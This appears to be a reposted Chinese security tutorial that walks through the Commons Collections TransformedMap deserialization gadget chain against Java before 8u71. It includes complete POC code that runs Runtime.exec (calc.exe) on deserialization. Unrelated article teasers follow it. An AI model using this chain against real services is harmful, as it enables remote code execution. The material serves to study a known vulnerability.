java安全(八)TransformedMap构造POC

给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!

上一篇构造了一个了commons-collections的demo
【传送门】

package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\WINDOWS\\system32\\calc.exe"}),};Transformer transformerChain = newChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);outerMap.put("test", "xxxx");}
}

了解了Transformer,接下来尝试构建poc

AnnotationInvocationHandler

这个漏洞核心,是想Map中加一个新的元素,在demo中,我们通过手工执行 outerMap.put(“test”, “xxxx”); 来出发漏洞。但是在实际反序列化中,还需要有一个雷,使他在反序列化readObject中有类似写入的操作

就是:sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandler的 readObject方法:

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject()// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null; try {annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in 
annotation serial stream"); 
}Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : 
memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( New AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } 
} 

核心逻辑:Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(…)

memberValues 就是反序列化后得到的Map,也是经过了TransformeMap 修饰的对象,这里遍历了他所有的元素,并以此设置值,在调用setValue设置时,会触发TransformedMap里注册的Transform ,然后继续执行我们设计的任意代码。

故在构造poc时,需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置尽量

Class clazz = 
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); 
Object obj = construct.newInstance(Retention.class, outerMap);

这里的sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new来实例化。我们使用反射获取他的构造方法,并将他设置成外部可见的,在调用就可以实例化了。

AnnotationInvocationHandler类的构造函数有两个参数: Annotation类 和 前面构造的Map。

使用反射的原因:

上一篇构造了 AnnotationInvocationHandler对象, 他就是我们反序列化利用链的七点,我们通过如下代码将这个对象生成序列化流

ByteArrayOutputStream barr = new ByteArrayOutputStream(); 
ObjectOutputStream oos = new ObjectOutputStream(barr); 
oos.writeObject(obj); 
oos.close();

在这里插入图片描述
在writeObject的时候出现异常: java.io.NotSerializableException: java.lang.Runtime 。

因为,java 中并非所有对象都支持序列化,待序列化的对象和所有他使用的内部属性对象,必须都实现 java.io.Serializable接口。
而我们最早传给 ConstantTransformer的事 Runtime.getRuntime(), Runtime 类是没有实现 java.io.Serializable接口,所有不允许被序列化。
那么,就需要通过反射的方式,获取当前上下文中的Runtime的对象,而不需要直接使用这个类

Method f = Runtime.class.getMethod("getRuntime"); 
Runtime r = (Runtime) f.invoke(null); 
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); 

转换成Transformer写法:

Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { 				"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class },new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "C:\WINDOWS\system32\calc.exe" }), 
}; 

其实和demo最大的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个
java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所
以可以被序列化。

为什么仍然无法触发漏洞?

修改Transformer数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列
化时仍然没弹出计算器,这是为什么呢?

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在
AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不
是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:

那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术。直接给
出两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
    Annotation的子类,且其中必须含有至少一个方法,假设方法名是X 2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
    所以,这也解释了为什么我前面用到 Retention.class ,因为Retention有一个方法,名为value;所
    以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:
innerMap.put("value", "xxxx");

为什么Java高版本无法利用?

但是这段poc有局限性,我们的环境是java 8u71 以前的,在8u71后2015年12越时,Java
官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:http://h
g.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d在这里插入图片描述

对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大。改动后,不再直接
使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。
所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执
行set或put操作,也就不会触发RCE了。

我们这一章将上一章给出的demo扩展成为了一个真实可利用的POC,完整代码如下:

package org.vulhub.Ser; import org.apache.commons.collections.Transformer; 
import org.apache.commons.collections.functors.ChainedTransformer; 
import org.apache.commons.collections.functors.ConstantTransformer; 
import org.apache.commons.collections.functors.InvokerTransformer; 
import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream; 
import java.io.ByteArrayOutputStream; 
import java.io.ObjectInputStream; 
import java.io.ObjectOutputStream; 
import java.lang.annotation.Retention; 
import java.lang.reflect.Constructor; 
import java.lang.reflect.InvocationHandler; 
import java.util.HashMap; 
import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { 
String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] 
}), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { 
"C:\WINDOWS\system32\calc.exe" }), };Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, 
transformerChain); Class clazz = 
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, 
Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) 
construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new 
ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } 
}

但是这个Payload有一定局限性,在Java 8u71以后的版本中,由于
sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用,原因前文也说
了。

看ysoserial就没有使用这个TransformeMap,而是使用了LazyMap。

即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在
sun.reflect.annotation.AnnotationInvocationHandler 这个类的修改上

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532538.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pytorch Tutorial 使用torch.autograd进行自动微分

Pytorch Tutorial 使用torch.autograd进行自动微分 本文翻译自 PyTorch 官网教程。 原文&#xff1a;https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在训练神经网络时&#xff0c;最常使用…

TVM:编译深度学习模型快速上手教程

TVM&#xff1a;编译深度学习模型快速上手教程 本文将展示如何使用 Relay python 前端构建一个神经网络&#xff0c;并使用 TVM 为 Nvidia GPU 生成一个运行时库。 注意我们需要再构建 TVM 时启用了 cuda 和 llvm。 TVM支持的硬件后端总览 在本教程中&#xff0c;我们使用 cu…

TVM:设计与架构

TVM&#xff1a;设计与架构 本文档适用于想要了解 TVM 架构和/或积极开发项目的开发人员。页面组织如下&#xff1a; 示例编译流程概述了 TVM 将模型的高层描述转换为可部署模块所采取的步骤。要开始使用&#xff0c;请先阅读本节。 逻辑架构组件部分描述了逻辑组件。后面的部…

递归+回溯

递归-回溯 本文参考自代码随想录视频&#xff1a; https://www.bilibili.com/video/BV1cy4y167mM https://www.bilibili.com/video/BV1ti4y1L7cv 递归回溯理论基础 只要有递归&#xff0c;就会有回溯&#xff0c;递归函数的下面的部分通常就是回溯的逻辑。 回溯是纯暴力的搜索…

Nvidia CUDA初级教程1 CPU体系架构综述

Nvidia CUDA初级教程1 CPU体系架构综述 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p2 讲师&#xff1a;周斌 本节内容&#xff1a;了解现代CPU的架构和性能优化&#xff1a; 流水线 Pipelining分支预测 Branch Prediction超标量 Superscalar乱序执行 Out…

Nvidia CUDA初级教程2 并行程序设计概述

Nvidia CUDA初级教程2 并行程序设计概述 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p3 讲师&#xff1a;周斌 本节内容&#xff1a; 为什么需要&#xff1f;怎么做&#xff1f;一些技术和概念 串并行计算模式 串行计算模式 常规软件时串行的 设计运行…

Nvidia CUDA初级教程4 GPU体系架构概述

Nvidia CUDA初级教程4 GPU体系架构概述 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p5 讲师&#xff1a;周斌 本节内容&#xff1a; 为什么需要GPU三种方法提升GPU的处理速度实际GPU的设计举例&#xff1a; NVDIA GTX 480: FermiNVDIA GTX 680: Kepler GP…

Nvidia CUDA初级教程5 CUDA/GPU编程模型

Nvidia CUDA初级教程5 CUDA/GPU编程模型 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p6 讲师&#xff1a;周斌 本节内容&#xff1a; CPU和GPU互动模式GPU线程组织模型&#xff08;需要不停强化&#xff09;GPU存储模型基本的编程问题 CPU与GPU交互 各自…

Nvidia CUDA初级教程6 CUDA编程一

Nvidia CUDA初级教程6 CUDA编程一 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p7 讲师&#xff1a;周斌 GPU架构概览 GPU特别使用于&#xff1a; 密集计算&#xff0c;高度可并行计算图形学 晶体管主要被用于&#xff1a; 执行计算而不是 缓存数据控制指令…

由前中后遍历序列构建二叉树

由前/中/后遍历序列构建二叉树 基础 首先&#xff0c;我们需要知道前中后序三种深度优先遍历二叉树的方式的具体顺序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 另外&#xff0c;要知道只有中序前/后序可以唯一确定一棵二叉树&…

手写nms

手写nms 计算宽高的时候加1是为什么&#xff1f; 本文总结自互联网的多种nms实现&#xff0c;供参考&#xff0c;非博主原创&#xff0c;各原文链接如下&#xff0c;也建议大家动手写一写。 Ref&#xff1a; 浅谈NMS的多种实现 目标窗口检测算法-NMS非极大值抑制 一、fas…

目标检测综述

目标检测综述 转自&#xff1a;https://zhuanlan.zhihu.com/p/383616728 论文参考&#xff1a;[Object Detection in 20 Years: A Survey][https://arxiv.org/abs/1905.05055] 引言 目标检测领域发展至今已有二十余载&#xff0c;从早期的传统方法到如今的深度学习方法&#x…

Nvidia CUDA初级教程7 CUDA编程二

Nvidia CUDA初级教程7 CUDA编程二 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p8 讲师&#xff1a;周斌 本节内容&#xff1a; 内置类型和函数 Built-ins and functions线程同步 Synchronizing线程调度 Scheduling threads存储模型 Memory model重访 Matr…

详解优酷视频质量评价体系

万字长文 | 详解优酷视频质量评价体系 分享嘉宾&#xff5c;李静博士&#xff0c;阿里巴巴文娱集团资深算法专家&#xff0c;阿里巴巴大文娱摩酷实验室视频体验与质量团队负责人 整理出品&#xff5c;AICUG人工智能社区 本文地址&#xff1a;https://www.6aiq.com/article/1617…

视频质量评价:挑战与机遇

视频质量评价&#xff1a;挑战与机遇 转自&#xff1a;https://zhuanlan.zhihu.com/p/384603663 本文整理自鹏城实验室助理研究员王海强在LiveVideoStack线上分享上的演讲。他通过自身的实践经验&#xff0c;详细讲解了视频质量评价的挑战与机遇。 文 / 王海强 整理 / LiveVi…

关于二分法的边界问题及两种写法

关于二分法的边界问题及两种写法 二分查找法大家很熟悉了&#xff0c;对于一个有序序列&#xff0c;我们可以通过二分查找法在 O(logN)O(logN)O(logN) 的时间内找到想要的元素。但是&#xff0c;在代码实现的过程中&#xff0c;如果没有仔细理解清楚&#xff0c;二分法的边界条…

LeetCode上的各种股票最大收益

LeetCode上的各种股票最大收益 对于力扣平台上的股票类型的题目&#xff1a; 121 买卖股票的最佳时机 122 买卖股票的最佳时机 II 123 买卖股票的最佳时机 III 124 买卖股票的最佳时机 IV 309 最佳买卖股票时机含冷冻期 714 买卖股票的最佳时机含手续费 剑指 Offer 63. …

建设专业化运维服务团队必要性

信息系统的生命周期涵盖&#xff1a;设计、开发、测试、部署上线、运行维护。其中&#xff0c;运行维护阶段是信息系统生命周期中的关键环节&#xff0c;其执行效果直接影响系统是否能达到预期的运行目标。为了实现这个目标&#xff0c;我们必须建立一个以业务服务为导向的专业…

docker初探

docker初探 本文旨在介绍 docker 基本的安装、常用命令和常见概念的辨析&#xff0c;方便新手入门和笔者日后查阅&#xff0c;大部分内容整理自互联网&#xff0c;原出处在文中注明。 文章目录docker初探docker安装&#xff08;mac&#xff09;版本、信息相关命令version/info…

ubuntu安装zsh、oh-my-zsh及常用配置

ubuntu安装zsh、oh-my-zsh及常用配置 目前&#xff0c;ubuntu默认的shell是bash&#xff0c;但还有一种shell&#xff0c;叫做zsh它比bash更加强大&#xff0c;功能也更加完善&#xff0c;zsh虽说功能强大&#xff0c;但是配置比较复杂导致流行度不是很高 但是好东西终究是好…